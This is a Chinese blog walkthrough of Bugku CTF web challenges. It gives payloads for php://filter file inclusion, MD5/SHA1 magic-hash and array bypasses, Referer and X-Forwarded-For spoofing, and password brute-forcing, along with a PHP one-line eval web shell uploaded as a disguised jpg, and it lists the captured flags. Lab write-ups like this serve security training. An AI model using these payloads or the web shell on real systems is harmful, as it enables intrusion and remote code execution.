源代码:
![在这里插入图片描述](https://img-blog.csdnimg.cn/e1070f9da10f4090862a02353819072c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_20,color_FFFFFF,t_70,g_se,x_16)
unescape编码:https://tool.chinaz.com/Tools/Escape.aspx
PS:p1+‘%35%34%61%61%32’ + p2 然后提交即可
67d709b2b54aa2aa648cf6e87a7114f1
![在这里插入图片描述](https://img-blog.csdnimg.cn/30e5369de9124bebba5b416ea1494de7.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_20,color_FFFFFF,t_70,g_se,x_16)
文件包含:
![在这里插入图片描述](https://img-blog.csdnimg.cn/1882a09da4204589b410cfa824ad5b2d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_19,color_FFFFFF,t_70,g_se,x_16)
file=php://filter/read=convert.base64-encode/resource=index.php #构造pyload
![在这里插入图片描述](https://img-blog.csdnimg.cn/dfc33776a43441fe9c2e34959bdbf9af.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_16,color_FFFFFF,t_70,g_se,x_16)
好像需要密码:
![在这里插入图片描述](https://img-blog.csdnimg.cn/455c25aff4214c269b999886a613f7b6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_19,color_FFFFFF,t_70,g_se,x_16)
bp爆破密码:12468
![在这里插入图片描述](https://img-blog.csdnimg.cn/f1d9bbe359a84bebb2de36095f2a681e.png)
备份是个好习惯:
![在这里插入图片描述](https://img-blog.csdnimg.cn/d36e010d92824d20bbfc56a94d06e2e8.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/eb5d3c75e4ea410488273a1f96957651.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_20,color_FFFFFF,t_70,g_se,x_16)
有一串字符串 提示给的是备份 那就是找bak文件 尝试 index.php.bak
下载下来一个文件
![在这里插入图片描述](https://img-blog.csdnimg.cn/1ad918e113464e56b29385313420de77.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_16,color_FFFFFF,t_70,g_se,x_16)
大概的意思是将get的两个参数中的key替换为空,然后对key1,key2的值进行md5加密,
如果md5加密的值一样而未加密的值不同,就输出flag.
MD5绕过:
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
pyload:http://114.67.175.224:10088/?kekeyy1=QNKCDZO&kekeyy2=240610708
![在这里插入图片描述](https://img-blog.csdnimg.cn/948a4a4b1dc2486bb8e197a453e6a969.png)
shell:
![在这里插入图片描述](https://img-blog.csdnimg.cn/82dc4c6e54564c498459b1c28c90ab8b.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/6d5b8056a2684f488c6aea9079ca5765.png)
cookies:
http://114.67.175.224:18865/index.php?line=&filename=a2V5cy50eHQ=
line : 可能是个列的参数意思 “a2V5cy50eHQ=” base64解码得到 “keys.txt”
![在这里插入图片描述](https://img-blog.csdnimg.cn/b41e94923fd44ae6b037604a1b98720e.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/0846d182f6114a16ba997edea23be774.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6JC95a-e55qE6a2a5Li2,size_20,color_FFFFFF,t_70,g_se,x_16)
前女友:
F12
查看源码发现了一个code.txt
![在这里插入图片描述](https://img-blog.csdnimg.cn/87c3500c028941a6b135c020f43e2352.png)
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
大概的意思就是v1不等于v2,v1和v2的md5相等,strcmp是比较字符串(区分大小写),v3不等于flag。
payload:http://114.67.175.224:10561/?v1[]=1&v2[]=2&v3[]=1
![在这里插入图片描述](https://img-blog.csdnimg.cn/300dc0dea1514ea5906d6513a5c377a2.png)
你从哪里来
![在这里插入图片描述](https://img-blog.csdnimg.cn/a85043077ce140b4812f8c05fc4eac00.png)
直接bp抓包伪造referer
头 Referer:https:www.google.com
![在这里插入图片描述](https://img-blog.csdnimg.cn/39fa161de1104ab1b57715b5706a602c.png)
MD5:
![在这里插入图片描述](https://img-blog.csdnimg.cn/8dafe94e18b347bd937c8416a718cbaf.png)
让我们输入一个a 然后输入:s155964671a
(考的MD5碰撞,网上有很多随便找一个即可。)
![在这里插入图片描述](https://img-blog.csdnimg.cn/767e74238c6e4776b5c2483b92ee6bda.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/cd661b7e52484be8a3ab08e8b1e510cd.png)
程序员本地网站:
![在这里插入图片描述](https://img-blog.csdnimg.cn/2c98516a6924462ead530026ef233a1c.png)
直接bp抓包 然后添加一条:X-Forwarded-For: 127.0.0.1
即可获取flag。
![在这里插入图片描述](https://img-blog.csdnimg.cn/537d3f3144fa410a9aa30645da5e9adc.png)
各种绕过哟:
![在这里插入图片描述](https://img-blog.csdnimg.cn/ab4f7462dd274fc086d226daa415d9d8.png)
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
大概就是使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等。
payload:http://114.67.175.224:12978/?uname[]=1&id=margin
![在这里插入图片描述](https://img-blog.csdnimg.cn/9e0e67e5fb8b40dda5684d1fae65577a.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/c6d70318a25f4060af1a028928552950.png)
file_get_contents:
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
方法1:代码审计一下 使用php://input
伪协议绕过(需要抓包)
方法2 :根据if($ac === $f),构造?fn=flag.txt,&ac=bugku,最后得到flag
payload:http://114.67.175.224:16481/?&ac=bugku&fn=flag.txt
![在这里插入图片描述](https://img-blog.csdnimg.cn/bb7202493b1548daac072a7baa3d0a96.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/0affc3c5860c4145aa6c41c3168dfd64.png)
需要管理员:
![在这里插入图片描述](https://img-blog.csdnimg.cn/a9bc043c3c8c4f7e8b400dd810e7dccc.png)
使用御剑扫一下后台:robots.txt
访问一下看看 然后定义了一个传入的参数x,但是并没有告诉这个x应该是什么值 提示是管理员试一下是不是admin 构造payload:http://114.67.175.224:15572/resusl.php?x=admin
![在这里插入图片描述](https://img-blog.csdnimg.cn/bbc34ec2ed474a1c923768091fbb409b.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/291b718ad77d40c8b0826e58ab221ddc.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/ef7ab2f183e6462eae17b41342fb6dcc.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/b6402f7b72d34d778027d482e30122df.png)
flag{7e69cdda3cf5c4dc101497149af576a8}
文件包含2:
![在这里插入图片描述](https://img-blog.csdnimg.cn/94cfad45ab164772a3a58f0011ebdd94.png)
先F12看一下源码 发现了一个upload.php
传一句话密码格式改为jpg 然后使用bp进行修改 最后菜刀连接
![在这里插入图片描述](https://img-blog.csdnimg.cn/c3f7b40b3aa04b0bab80638aa308e5bb.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/96c5b82b8bbb4b2e9e41f2753d16bced.png)
<script language="php">@eval($_POST[pass])</script>
![在这里插入图片描述](https://img-blog.csdnimg.cn/22ad7ed372174faaa5e5d17997161983.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/dead27c321014e2e85a2f1e989176f63.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/e828f10960e848bc88cc5ba4a595f11b.png)
找了一下flag 在/
根目录下 :flag{994b40acc26842efb530b6fbc99112b0}
![在这里插入图片描述](https://img-blog.csdnimg.cn/2806e49461fb4243b9f1d153587d4fed.png)
getshell:
![在这里插入图片描述](https://img-blog.csdnimg.cn/7a00a5d635574216b9c4abafb9c70407.png)
具体可以看这篇,因为工具需要会员
![在这里插入图片描述](https://img-blog.csdnimg.cn/8796039ed4a242c9aa815a6266478c1f.png)
至此web篇就先跟新到这里了 最近比较忙没时间肝了,希望对大家有所帮助感谢大家!!